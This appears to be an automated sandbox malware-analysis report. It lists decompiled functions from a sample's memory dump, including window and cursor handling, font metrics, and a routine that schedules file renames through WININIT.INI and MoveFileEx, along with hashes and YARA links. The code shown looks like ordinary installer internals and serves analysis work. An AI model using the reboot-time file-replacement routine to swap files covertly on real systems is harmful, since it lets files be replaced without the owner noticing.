Instruction Fuzzy Hash: 9F41B331E042449ACB10DB69D8463AE76E55F4530AF96857BBC0197393CB7C8A0DC75A

Uniqueness

Uniqueness Score: -1.00%

Function 00422F18 Relevance: 12.1, APIs: 8, Instructions: 119
windowCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00422F18(intOrPtr __eax, void* __ebx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v26;
				struct HWND__* _v32;
				intOrPtr _t50;
				intOrPtr _t51;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t56;
				intOrPtr _t71;
				void* _t76;
				intOrPtr _t102;
				void* _t103;
				void* _t104;
				void* _t106;
				void* _t107;
				intOrPtr _t108;

				_t104 = __esi;
				_t103 = __edi;
				_t106 = _t107;
				_t108 = _t107 + 0xffffffe4;
				_push(__ebx);
				_v8 = __eax;
				E004141A8();
				if( *((char*)(_v8 + 0x37)) != 0 ||  *((char*)(_v8 + 0x38)) == 0 || ( *(_v8 + 0x119) & 0x00000008) != 0 ||  *((char*)(_v8 + 0x116)) == 1) {
					E00408D50(0x48d628, 0xf032, 1, _t103, _t104);
					E00403264();
				}
				if(GetCapture() != 0) {
					SendMessageA(GetCapture(), 0x1f, 0, 0);
				}
				ReleaseCapture();
				 *(_v8 + 0x119) =  *(_v8 + 0x119) | 0x00000008;
				_v32 = GetActiveWindow();
				_t50 =  *0x48c580; // 0x0
				_v20 = _t50;
				_t51 =  *0x48d62c; // 0x2160660
				_v24 =  *((intOrPtr*)(_t51 + 0x4c));
				_t53 =  *0x48d62c; // 0x2160660
				 *((intOrPtr*)(_t53 + 0x4c)) = _v8;
				_t54 =  *0x48d62c; // 0x2160660
				_v26 =  *((intOrPtr*)(_t54 + 0x28));
				_t56 =  *0x48d62c; // 0x2160660
				E0042345C(_t56, 0);
				_v16 = E0041EF6C(0, 0x48d628, _t103, _t104);
				_push(_t106);
				_push(0x423102);
				_push( *[fs:edx]);
				 *[fs:edx] = _t108;
				E00422ECC(_v8);
				_push(_t106);
				_push(0x4230ab);
				_push( *[fs:edx]);
				 *[fs:edx] = _t108;
				SendMessageA(E004182A8(_v8), 0xb000, 0, 0);
				 *((intOrPtr*)(_v8 + 0x128)) = 0;
				do {
					E00424584( *0x48d628, _t103, _t104);
					if( *((char*)( *0x48d628 + 0x7c)) == 0) {
						if( *((intOrPtr*)(_v8 + 0x128)) != 0) {
							E00422E1C(_v8, 0xf032);
						}
					} else {
						 *((intOrPtr*)(_v8 + 0x128)) = 2;
					}
					_t71 =  *((intOrPtr*)(_v8 + 0x128));
				} while (_t71 == 0);
				_v12 = _t71;
				SendMessageA(E004182A8(_v8), 0xb001, 0, 0);
				_t76 = E004182A8(_v8);
				if(_t76 != GetActiveWindow()) {
					_v32 = 0;
				}
				_pop(_t102);
				 *[fs:eax] = _t102;
				_push(0x4230b2);
				return E00422EC4();
			}

0x00422f18
0x00422f18
0x00422f19
0x00422f1b
0x00422f1e
0x00422f1f
0x00422f27
0x00422f33
0x00422f62
0x00422f67
0x00422f67
0x00422f73
0x00422f81
0x00422f81
0x00422f86
0x00422f8e
0x00422f9a
0x00422f9d
0x00422fa2
0x00422fa5
0x00422fad
0x00422fb0
0x00422fb8
0x00422fbb
0x00422fc4
0x00422fca
0x00422fcf
0x00422fdb
0x00422fe0
0x00422fe1
0x00422fe6
0x00422fe9
0x00422fef
0x00422ff6
0x00422ff7
0x00422ffc
0x00422fff
0x00423014
0x0042301e
0x00423024
0x00423026
0x00423031
0x0042304c
0x00423051
0x00423051
0x00423033
0x00423036
0x00423036
0x00423059
0x0042305f
0x00423063
0x00423078
0x00423080
0x0042308e
0x00423092
0x00423092
0x00423097
0x0042309a
0x0042309d
0x004230aa

APIs

GetCapture.USER32 ref: 00422F6C
GetCapture.USER32 ref: 00422F7B
SendMessageA.USER32 ref: 00422F81
ReleaseCapture.USER32(00000000,0000001F,00000000,00000000), ref: 00422F86
GetActiveWindow.USER32 ref: 00422F95
SendMessageA.USER32 ref: 00423014
SendMessageA.USER32 ref: 00423078
GetActiveWindow.USER32 ref: 00423087

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CaptureMessageSend$ActiveWindow$Release
String ID:
API String ID: 862346643-0
Opcode ID: b07b682a0d3db05e04191161431f274fd874955fc59dbb90a6b8777cc5b5653a
Instruction ID: f320766799f76b56ff1f73815002e471a00f175123ebad8ebd638d1fe61db66b
Opcode Fuzzy Hash: b07b682a0d3db05e04191161431f274fd874955fc59dbb90a6b8777cc5b5653a
Instruction Fuzzy Hash: BC413F70B00259AFDB10EFA9DA46B9E77F1EF48304F5140BAF414AB292D7789E409B1C

Uniqueness

Uniqueness Score: -1.00%

Function 00429548 Relevance: 12.1, APIs: 8, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00429548(struct HDC__* __eax, void* __ebp, void* __eflags) {
				struct tagTEXTMETRICA _v112;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t14;
				signed int _t18;
				signed int _t20;
				struct HDC__* _t26;
				signed int _t27;
				signed int _t29;
				signed int _t30;
				void* _t31;
				void* _t35;
				struct HDC__* _t37;
				struct tagTEXTMETRICA* _t39;

				_t39 =  &_v112;
				_t37 = __eax;
				_push(0);
				L0040602C();
				_t26 = __eax;
				GetTextMetricsA(__eax, _t39);
				_t14 = SelectObject(_t26, E0041A2B0( *((intOrPtr*)(_t37 + 0x44)), _t26, _t31, _t35, _t37));
				GetTextMetricsA(_t26,  &(_v112.tmMaxCharWidth));
				SelectObject(_t26, _t14);
				_push(_t26);
				_push(0);
				L00406214();
				if( *0x48d5c4 == 0) {
					_t27 = _t39->tmHeight;
					_t18 = _v112.tmHeight;
					if(_t27 > _t18) {
						_t27 = _t18;
					}
					_t20 = GetSystemMetrics(6) << 2;
					if(_t27 < 0) {
						_t27 = _t27 + 3;
					}
					_t29 = _t20 + (_t27 >> 2);
				} else {
					if( *((char*)(_t37 + 0xc5)) == 0) {
						_t30 = 6;
					} else {
						_t30 = 8;
					}
					_t29 = GetSystemMetrics(6) * _t30;
				}
				return E00414704(_t37, _v112 + _t29);
			}

0x0042954b
0x0042954e
0x00429550
0x00429552
0x00429557
0x0042955b
0x0042956a
0x00429577
0x0042957e
0x00429583
0x00429584
0x00429586
0x00429592
0x004295b6
0x004295b9
0x004295bf
0x004295c1
0x004295c1
0x004295ca
0x004295cf
0x004295d1
0x004295d1
0x004295d9
0x00429594
0x0042959b
0x004295a4
0x0042959d
0x0042959d
0x0042959d
0x004295b2
0x004295b2
0x004295ee

APIs

740BAC50.USER32(00000000), ref: 00429552
GetTextMetricsA.GDI32(00000000), ref: 0042955B

Part of subcall function 0041A2B0: CreateFontIndirectA.GDI32(?), ref: 0041A36F

SelectObject.GDI32(00000000,00000000), ref: 0042956A
GetTextMetricsA.GDI32(00000000,?), ref: 00429577
SelectObject.GDI32(00000000,00000000), ref: 0042957E
740BB380.USER32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00429586
GetSystemMetrics.USER32 ref: 004295AB
GetSystemMetrics.USER32 ref: 004295C5

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Metrics$ObjectSelectSystemText$B380CreateFontIndirect
String ID:
API String ID: 3751190600-0
Opcode ID: 42eb9f9568d47a56d4dd64e5859645b6fd94eef733c9255efa467db7d7aa65c1
Instruction ID: 49a99a9963fa550412aa89e52ade3804ecb6ea0e128110f1924ac4b1d55f2594
Opcode Fuzzy Hash: 42eb9f9568d47a56d4dd64e5859645b6fd94eef733c9255efa467db7d7aa65c1
Instruction Fuzzy Hash: C101E1A27053203AE711A7BADCC2B6B25C8CF84358F44053BF646DA3C2D96D9C90836E

Uniqueness

Uniqueness Score: -1.00%

Function 0041DEEC Relevance: 12.1, APIs: 8, Instructions: 60
windowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E0041DEEC(int __eax) {
				int _t2;

				_push(0);
				L0040602C();
				_push(0x5a);
				_push(__eax);
				L00405D5C();
				 *0x48d604 = __eax;
				_push(__eax);
				_push(0);
				L00406214();
				_t2 =  *0x48d604; // 0x60
				 *0x48c4e8 =  ~(MulDiv(8, _t2, 0x48));
				 *0x48d608 = GetStockObject(7);
				 *0x48d60c = GetStockObject(5);
				 *0x48d610 = GetStockObject(0xd);
				 *0x48d614 = LoadIconA(0, 0x7f00);
				 *0x48d618 = E00419C04(0x2c, 1);
				 *0x48d61c = E00419C04(0x10, 1);
				 *0x48d620 = E00419C04(0x10, 1);
				 *0x48c568 = E00402C78(1);
				 *0x48d624 = E00402C78(1);
				return E0040B064(0x419128, E0041A130, E0041A160);
			}

0x0041deed
0x0041deef
0x0041def6
0x0041def8
0x0041def9
0x0041defe
0x0041df03
0x0041df04
0x0041df06
0x0041df0d
0x0041df1c
0x0041df28
0x0041df34
0x0041df40
0x0041df51
0x0041df66
0x0041df7b
0x0041df90
0x0041dfa1
0x0041dfb2
0x0041dfcc

APIs

740BAC50.USER32(00000000,?,00419121,0048B789), ref: 0041DEEF
740BAD70.GDI32(00000000,0000005A,00000000,?,00419121,0048B789), ref: 0041DEF9
740BB380.USER32(00000000,00000000,00000000,0000005A,00000000,?,00419121,0048B789), ref: 0041DF06
MulDiv.KERNEL32(00000008,00000060,00000048), ref: 0041DF15
GetStockObject.GDI32(00000007), ref: 0041DF23
GetStockObject.GDI32(00000005), ref: 0041DF2F
GetStockObject.GDI32(0000000D), ref: 0041DF3B
LoadIconA.USER32(00000000,00007F00), ref: 0041DF4C

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ObjectStock$B380IconLoad
String ID:
API String ID: 1412791550-0
Opcode ID: dd4b9c7aef87865718c000e397f45e154360b1af399aa1f9483cb2bab1bb8be1
Instruction ID: ae707862530499e61e56544efeec0af492468148c1ffb6533c46f2cff97e135a
Opcode Fuzzy Hash: dd4b9c7aef87865718c000e397f45e154360b1af399aa1f9483cb2bab1bb8be1
Instruction Fuzzy Hash: 7011F1B0A452096EE740BF695C52B6E2794EB14708F00843FF608BF2E1E7792C408B6E

Uniqueness

Uniqueness Score: -1.00%

Function 0045D4C8 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 281
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E0045D4C8(intOrPtr* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				intOrPtr* _v8;
				struct HICON__* _v12;
				signed int _v16;
				char _v17;
				signed int _v28;
				signed char _v32;
				signed char _v36;
				intOrPtr _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				char _v64;
				intOrPtr _t147;
				signed int _t160;
				signed char _t164;
				signed int _t167;
				signed char _t174;
				intOrPtr _t188;
				intOrPtr _t189;
				signed int _t198;
				signed int _t204;
				signed int _t207;
				void* _t210;
				void* _t213;
				intOrPtr _t214;
				intOrPtr _t217;
				void* _t227;
				intOrPtr _t234;
				signed char _t240;
				signed char _t242;
				intOrPtr _t263;
				signed int _t264;
				intOrPtr _t265;
				intOrPtr _t272;
				signed int _t276;
				intOrPtr _t280;
				void* _t282;
				void* _t286;
				void* _t291;
				void* _t293;
				signed char* _t299;
				intOrPtr _t300;
				intOrPtr _t301;
				void* _t302;
				void* _t304;
				void* _t305;
				void* _t306;
				intOrPtr _t307;
				void* _t308;

				_t296 = __edi;
				_t305 = _t306;
				_t307 = _t306 + 0xffffffc4;
				_v64 = 0;
				_v16 = 0;
				_t238 = __edx;
				_v8 = __eax;
				 *[fs:eax] = _t307;
				_t245 =  *_v8;
				 *((intOrPtr*)( *_v8 - 0x10))( *[fs:eax], 0x45d884, _t305, __edi, __esi, __ebx, _t304);
				_t147 =  *((intOrPtr*)(__edx + 8));
				_t263 =  *((intOrPtr*)(_t147 + 8));
				_t308 = _t263 - 0xfffffe6b;
				if(_t308 > 0) {
					_t264 = _t263 - 0xfffffe6d;
					__eflags = _t264;
					if(_t264 == 0) {
						_t299 = _t147 + 0xc;
						_v60 = 0;
						_v56 = _t299[4];
						__eflags =  *_t299 & 0x00000001;
						if(( *_t299 & 0x00000001) != 0) {
							_t174 = _t299[0x24];
							__eflags =  *((char*)(_t174 + 9));
							if( *((char*)(_t174 + 9)) == 0) {
								_t272 = _v8;
								__eflags =  *((char*)(_t272 + 0x101));
								if( *((char*)(_t272 + 0x101)) != 0) {
									 *((char*)(_t174 + 9)) = 1;
									_t243 =  *_v8;
									 *((intOrPtr*)( *_v8 + 0x7c))();
									E0045CE98(_v64,  &_v16);
									__eflags = _v16;
									if(_v16 != 0) {
										__eflags = _t299[0x24] + 4;
										E00403598(_t299[0x24] + 4, _t243, _v16, __edi, _t299);
									}
								}
							}
							__eflags = _t299[0x14] - 1;
							E00407464(_t299[0x10], _t299[0x14] - 1,  *(_t299[0x24] + 4));
						}
						__eflags =  *_t299 & 0x00000002;
						if(( *_t299 & 0x00000002) != 0) {
							_t51 =  &_v60;
							 *_t51 = _v60 | 0x00000002;
							__eflags =  *_t51;
							_t242 =  *((intOrPtr*)( *_v8 + 0x84))(0);
							_v36 = _t242;
							_t299[0x18] = _t242;
						}
						__eflags =  *_t299 & 0x00000020;
						if(( *_t299 & 0x00000020) != 0) {
							_t62 =  &_v60;
							 *_t62 = _v60 | 0x00000020;
							__eflags =  *_t62;
							_t240 =  *((intOrPtr*)( *_v8 + 0x84))(1);
							_v32 = _t240;
							_t299[0x1c] = _t240;
						}
						__eflags =  *_t299 & 0x00000040;
						if(( *_t299 & 0x00000040) != 0) {
							_v60 = _v60 | 0x00000040;
							E004182A8(_v8);
							_t160 = E00409B5C();
							__eflags = _t160;
							_v28 = (_t160 & 0xffffff00 | _t160 != 0x00000000) & 0x0000007f;
							__eflags = _v28;
							if(_v28 == 0) {
								_t164 = _t299[0x24];
								__eflags =  *((char*)(_t164 + 8));
								if( *((char*)(_t164 + 8)) == 0) {
									_t167 =  *((intOrPtr*)( *_v8 + 0x8c))() & 0x0000007f;
									__eflags = _t167;
									_v28 = _t167;
								}
							}
							_t299[0x20] = _v28;
						}
						__eflags = _v60;
						if(_v60 != 0) {
							E00409BDC(E004182A8(_v8),  &_v60);
						}
					} else {
						_t276 = _t264 - 1;
						__eflags = _t276;
						if(_t276 == 0) {
							E0045D38C(_v8, __edx, __edi, __esi);
						} else {
							__eflags = _t276 - 0x190;
							if(__eflags == 0) {
								E0045D418(_t245, __eflags, _t305);
								 *(_t238 + 0xc) = 1;
							}
						}
					}
					goto L53;
				} else {
					if(_t308 == 0) {
						_t300 = _t147;
						__eflags =  *((intOrPtr*)(_t300 + 0xc)) - 2;
						if( *((intOrPtr*)(_t300 + 0xc)) != 2) {
							goto L53;
						} else {
							_t188 =  *((intOrPtr*)(_t300 + 0x5c));
							__eflags =  *((char*)(_t188 + 0xa));
							if( *((char*)(_t188 + 0xa)) != 0) {
								goto L53;
							} else {
								_t189 =  *((intOrPtr*)(_t300 + 0x5c));
								__eflags =  *((char*)(_t189 + 8));
								if( *((char*)(_t189 + 8)) != 0) {
									goto L53;
								} else {
									 *((char*)( *((intOrPtr*)(_t300 + 0x5c)) + 0xa)) = 1;
									_v12 = SetCursor(LoadCursorA(0, 0x7f02));
									 *[fs:eax] = _t307;
									 *((intOrPtr*)( *_v8 + 0x80))( *[fs:eax], 0x45d5f6, _t305);
									E004182A8(_v8);
									_t198 = E00409B5C();
									__eflags = _t198;
									if(_t198 == 0) {
										__eflags = 0;
										E0045D894(_v8, 0,  *((intOrPtr*)(_t300 + 0x3c)));
									}
									__eflags = 0;
									_pop(_t280);
									 *[fs:eax] = _t280;
									_push(0x45d866);
									return SetCursor(_v12);
								}
							}
						}
					} else {
						_t282 = _t263 - 0xfffffe61;
						if(_t282 == 0) {
							_t301 = _t147;
							__eflags =  *(_t301 + 0x14);
							if( *(_t301 + 0x14) != 0) {
								__eflags =  *(_t301 + 0x3c);
								if( *(_t301 + 0x3c) != 0) {
									E004182A8(_v8);
									_t210 = E00409B74();
									E004182A8(_v8);
									_t213 = E00409B74();
									__eflags = _t210 - _t213;
									if(_t210 != _t213) {
										_t128 = __edx + 0xc;
										 *_t128 =  *(__edx + 0xc) | 0x00000001;
										__eflags =  *_t128;
									}
								}
							}
							_t204 =  *(_t301 + 0x3c);
							__eflags = _t204;
							if(_t204 != 0) {
								_v60 = 8;
								_v56 = _t204;
								_v48 = 0x20;
								_t207 = E00409BC4(E004182A8(_v8),  &_v60);
								__eflags = _t207;
								if(_t207 != 0) {
									__eflags = _v52 & 0x00000020;
									if((_v52 & 0x00000020) != 0) {
										_t139 = _t238 + 0xc;
										 *_t139 =  *(_t238 + 0xc) | 0x00000002;
										__eflags =  *_t139;
									}
								}
							}
						} else {
							_t286 = _t282 - 4;
							if(_t286 == 0) {
								_t302 = _t147 + 0xc;
								_t214 =  *((intOrPtr*)(_t302 + 0x24));
								__eflags =  *((char*)(_t214 + 8));
								if( *((char*)(_t214 + 8)) != 0) {
									__eflags =  *(_t302 + 0x10);
									if( *(_t302 + 0x10) != 0) {
										E00403674( &_v16,  *(_t302 + 0x10));
										_v17 = 1;
										_t217 = _v8;
										__eflags =  *((short*)(_t217 + 0x10e));
										if( *((short*)(_t217 + 0x10e)) != 0) {
											_t238 = _v8;
											 *((intOrPtr*)(_v8 + 0x10c))( &_v17);
										}
										__eflags = _v17;
										if(_v17 != 0) {
											E00403598( *((intOrPtr*)(_t302 + 0x24)), _t238, _v16, _t296, _t302);
											E00403598( *((intOrPtr*)(_t302 + 0x24)) + 4, _t238, _v16, _t296, _t302);
											E004182A8(_v8);
											_push(E00409B74());
											_t227 = E004182A8(_v8);
											_pop(_t291);
											E00409C24(_t227, 0, _t291);
											E0045D38C(_v8, _t238, _t296, _t302);
										}
									}
								}
							} else {
								_t293 = _t286 - 1;
								if(_t293 == 0) {
									_t234 =  *((intOrPtr*)(_t147 + 0x30));
									__eflags =  *((char*)(_t234 + 8));
									if( *((char*)(_t234 + 8)) == 0) {
										 *(__edx + 0xc) = 1;
									}
								} else {
									if(_t293 == 1) {
										E00403CDC( *((intOrPtr*)(_t147 + 0x34)));
									}
								}
							}
						}
						L53:
						_pop(_t265);
						 *[fs:eax] = _t265;
						_push(0x45d88b);
						E00403548( &_v64);
						return E00403548( &_v16);
					}
				}
			}

0x0045d4c8
0x0045d4c9
0x0045d4cb
0x0045d4d3
0x0045d4d6
0x0045d4d9
0x0045d4db
0x0045d4e9
0x0045d4f1
0x0045d4f3
0x0045d4f6
0x0045d4f9
0x0045d4fc
0x0045d502
0x0045d52a
0x0045d52a
0x0045d530
0x0045d5fd
0x0045d602
0x0045d608
0x0045d60b
0x0045d60e
0x0045d610
0x0045d613
0x0045d617
0x0045d619
0x0045d61c
0x0045d623
0x0045d625
0x0045d632
0x0045d634
0x0045d63d
0x0045d642
0x0045d646
0x0045d64b
0x0045d651
0x0045d651
0x0045d646
0x0045d623
0x0045d659
0x0045d663
0x0045d663
0x0045d668
0x0045d66b
0x0045d66d
0x0045d66d
0x0045d66d
0x0045d687
0x0045d689
0x0045d68c
0x0045d68c
0x0045d68f
0x0045d692
0x0045d694
0x0045d694
0x0045d694
0x0045d6ae
0x0045d6b0
0x0045d6b3
0x0045d6b3
0x0045d6b6
0x0045d6b9
0x0045d6bb
0x0045d6c2
0x0045d6ca
0x0045d6cf
0x0045d6d7
0x0045d6da
0x0045d6de
0x0045d6e0
0x0045d6e3
0x0045d6e7
0x0045d6f7
0x0045d6f7
0x0045d6fa
0x0045d6fa
0x0045d6e7
0x0045d700
0x0045d700
0x0045d703
0x0045d707
0x0045d718
0x0045d718
0x0045d536
0x0045d536
0x0045d536
0x0045d537
0x0045d725
0x0045d53d
0x0045d53d
0x0045d543
0x0045d7e9
0x0045d7ef
0x0045d7ef
0x0045d543
0x0045d537
0x00000000
0x0045d504
0x0045d504
0x0045d560
0x0045d562
0x0045d566
0x00000000
0x0045d56c
0x0045d56c
0x0045d56f
0x0045d573
0x00000000
0x0045d579
0x0045d579
0x0045d57c
0x0045d580
0x00000000
0x0045d586
0x0045d589
0x0045d59f
0x0045d5ad
0x0045d5b8
0x0045d5c1
0x0045d5c9
0x0045d5ce
0x0045d5d0
0x0045d5d2
0x0045d5da
0x0045d5da
0x0045d5df
0x0045d5e1
0x0045d5e4
0x0045d5e7
0x0045d5f5
0x0045d5f5
0x0045d580
0x0045d573
0x0045d506
0x0045d506
0x0045d50c
0x0045d7f8
0x0045d7fa
0x0045d7fe
0x0045d800
0x0045d804
0x0045d809
0x0045d811
0x0045d81b
0x0045d823
0x0045d828
0x0045d82a
0x0045d82c
0x0045d82c
0x0045d82c
0x0045d82c
0x0045d82a
0x0045d804
0x0045d830
0x0045d833
0x0045d835
0x0045d837
0x0045d83e
0x0045d841
0x0045d853
0x0045d858
0x0045d85a
0x0045d85c
0x0045d860
0x0045d862
0x0045d862
0x0045d862
0x0045d862
0x0045d860
0x0045d85a
0x0045d512
0x0045d512
0x0045d515
0x0045d74b
0x0045d74e
0x0045d751
0x0045d755
0x0045d75b
0x0045d75f
0x0045d76b
0x0045d770
0x0045d774
0x0045d777
0x0045d77f
0x0045d788
0x0045d794
0x0045d794
0x0045d79a
0x0045d79e
0x0045d7aa
0x0045d7b8
0x0045d7c0
0x0045d7cd
0x0045d7d1
0x0045d7d8
0x0045d7d9
0x0045d7e1
0x0045d7e1
0x0045d79e
0x0045d75f
0x0045d51b
0x0045d51b
0x0045d51c
0x0045d732
0x0045d735
0x0045d739
0x0045d73f
0x0045d73f
0x0045d522
0x0045d523
0x0045d556
0x0045d556
0x0045d523
0x0045d51c
0x0045d515
0x0045d866
0x0045d868
0x0045d86b
0x0045d86e
0x0045d876
0x0045d883
0x0045d883
0x0045d504

APIs

LoadCursorA.USER32 ref: 0045D594
SetCursor.USER32(00000000,00000000,00007F02), ref: 0045D59A
SetCursor.USER32(00000000,0045D866,00007F02), ref: 0045D5F0

Strings

, xrefs: 0045D85C
, xrefs: 0045D841
@, xrefs: 0045D6BB

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Cursor$Load
String ID: $ $@
API String ID: 1675784387-2546599590
Opcode ID: 6ccaf6c9540996d4e0a6697c76b1ecd3fa8062e0d884f2f87ba891cbd3cdf676
Instruction ID: b001bef726f5750741a7b03e36ed03e6f94e887b89092d92c47412017fe15e3a
Opcode Fuzzy Hash: 6ccaf6c9540996d4e0a6697c76b1ecd3fa8062e0d884f2f87ba891cbd3cdf676
Instruction Fuzzy Hash: 3EC18230E006449FDB20EF69C985B9EBBF1EF04315F1485AAE855977A2D778AE48CB04

Uniqueness

Uniqueness Score: -1.00%

Function 004525EC Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E004525EC(char __eax, void* __ebx, char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				char _v40;
				char _v41;
				char _v48;
				char _v52;
				void* __ecx;
				void* _t90;
				char _t141;
				void* _t151;
				char _t176;
				char _t177;
				intOrPtr _t180;
				intOrPtr _t188;
				intOrPtr _t195;
				intOrPtr _t219;
				intOrPtr _t229;
				intOrPtr _t230;

				_t227 = __esi;
				_t226 = __edi;
				_t229 = _t230;
				_t180 = 5;
				goto L1;
				L4:
				if(E0042DAA4(_t90) != 0) {
					__eflags = _t176;
					if(_t176 == 0) {
						E00452514(_v8, _t176, _t181,  &_v48, _t226, _t227);
						E004035DC( &_v8, _v48);
						__eflags = _v12;
						if(_v12 != 0) {
							E00452514(_v12, _t176, _t181,  &_v48, _t226, _t227);
							E004035DC( &_v12, _v48);
						}
					}
					_t182 = _v12;
					__eflags = E00451820(_t176, _v12, _v8, 5);
					if(__eflags == 0) {
						E00451E44("MoveFileEx", _t176, _t182, _t226, _t227, __eflags);
					}
					__eflags = 0;
					_pop(_t195);
					 *[fs:eax] = _t195;
					_push(E00452929);
					E00403568( &_v52, 2);
					E00403568( &_v40, 2);
					return E00403568( &_v24, 5);
				} else {
					E0042D7E0( &_v16);
					E0042C4C4(_v16,  &_v48);
					E00403708( &_v20, "WININIT.INI", _v48);
					E00452190(0, _t176, 0x45294c, _v16, _t226, _t227,  &_v24);
					_push(_t229);
					_push(0x452881);
					_push( *[fs:eax]);
					 *[fs:eax] = _t230;
					_v28 = 0;
					_v32 = 0;
					_push(_t229);
					_push(0x45282b);
					_push( *[fs:eax]);
					 *[fs:eax] = _t230;
					WritePrivateProfileStringA(0, 0, 0, E00403880(_v20));
					_v28 = E0044FDE4(1, 1, 0, 3);
					_t188 = _v24;
					_v32 = E0044FDE4(1, 0, 1, 0);
					_v41 = 0;
					_t177 = 0;
					while(E00450194(_v28) == 0) {
						E004501A4(_v28, _t177,  &_v36, _t226, _t227);
						E00406C44(_v36,  &_v40);
						__eflags = _v40;
						if(_v40 == 0) {
							L11:
							E00450358(_v32, 1, _t188, _v36, _t226, _t227);
							_t177 = 0;
							__eflags = 0;
							continue;
						} else {
							__eflags =  *_v40 - 0x5b;
							if( *_v40 != 0x5b) {
								goto L11;
							} else {
								_t141 = E00406B20(_v40, "[rename]");
								__eflags = _t141;
								if(_t141 != 0) {
									__eflags = _v41;
									if(_v41 == 0) {
										goto L11;
									}
								} else {
									_v41 = 1;
									goto L11;
								}
							}
						}
						break;
					}
					if(_v41 == 0) {
						E00450358(_v32, _t177, _t188, "[rename]", _t226, _t227);
					}
					if(_v12 == 0) {
						E004035DC( &_v40, 0x452970);
					} else {
						E0042D78C(_v12, _t188,  &_v40);
					}
					E004035DC( &_v48, _v40);
					E004036C4( &_v48, 0x45297c);
					_push( &_v48);
					E0042D78C(_v8, _t188,  &_v52);
					_pop(_t151);
					E004036C4(_t151, _v52);
					E00450358(_v32, _t177, _t188, _v48, _t226, _t227);
					if(_t177 != 0) {
						E00450358(_v32, _t177, _t188, _v36, _t226, _t227);
					}
					while(E00450194(_v28) == 0) {
						E004501A4(_v28, _t177,  &_v36, _t226, _t227);
						E00450358(_v32, _t177, _t188, _v36, _t226, _t227);
					}
					_pop(_t219);
					 *[fs:eax] = _t219;
					_push(E00452832);
					E00402CA0(_v32);
					return E00402CA0(_v28);
				}
				L1:
				_push(0);
				_push(0);
				_t180 = _t180 - 1;
				if(_t180 != 0) {
					goto L1;
				} else {
					_push(_t180);
					_t1 =  &_v8;
					_t181 =  *_t1;
					 *_t1 = _t180;
					_push(__esi);
					_push(__edi);
					_v12 =  *_t1;
					_v8 = __edx;
					_t176 = __eax;
					E00403870(_v8);
					E00403870(_v12);
					_push(_t229);
					_push(0x452922);
					_push( *[fs:eax]);
					 *[fs:eax] = _t230;
					E0042C81C(_v8,  &_v48);
					_t90 = E004035DC( &_v8, _v48);
					if(_v12 != 0) {
						E0042C81C(_v12,  &_v48);
						_t90 = E004035DC( &_v12, _v48);
					}
				}
				goto L4;
			}

0x004525ec
0x004525ec
0x004525ed
0x004525f0
0x004525f0
0x0045265b
0x00452662
0x0045289a
0x0045289c
0x004528a4
0x004528af
0x004528b4
0x004528b8
0x004528c0
0x004528cb
0x004528cb
0x004528b8
0x004528d2
0x004528df
0x004528e1
0x004528e8
0x004528e8
0x004528ed
0x004528ef
0x004528f2
0x004528f5
0x00452902
0x0045290f
0x00452921
0x00452668
0x0045266b
0x00452676
0x00452686
0x00452699
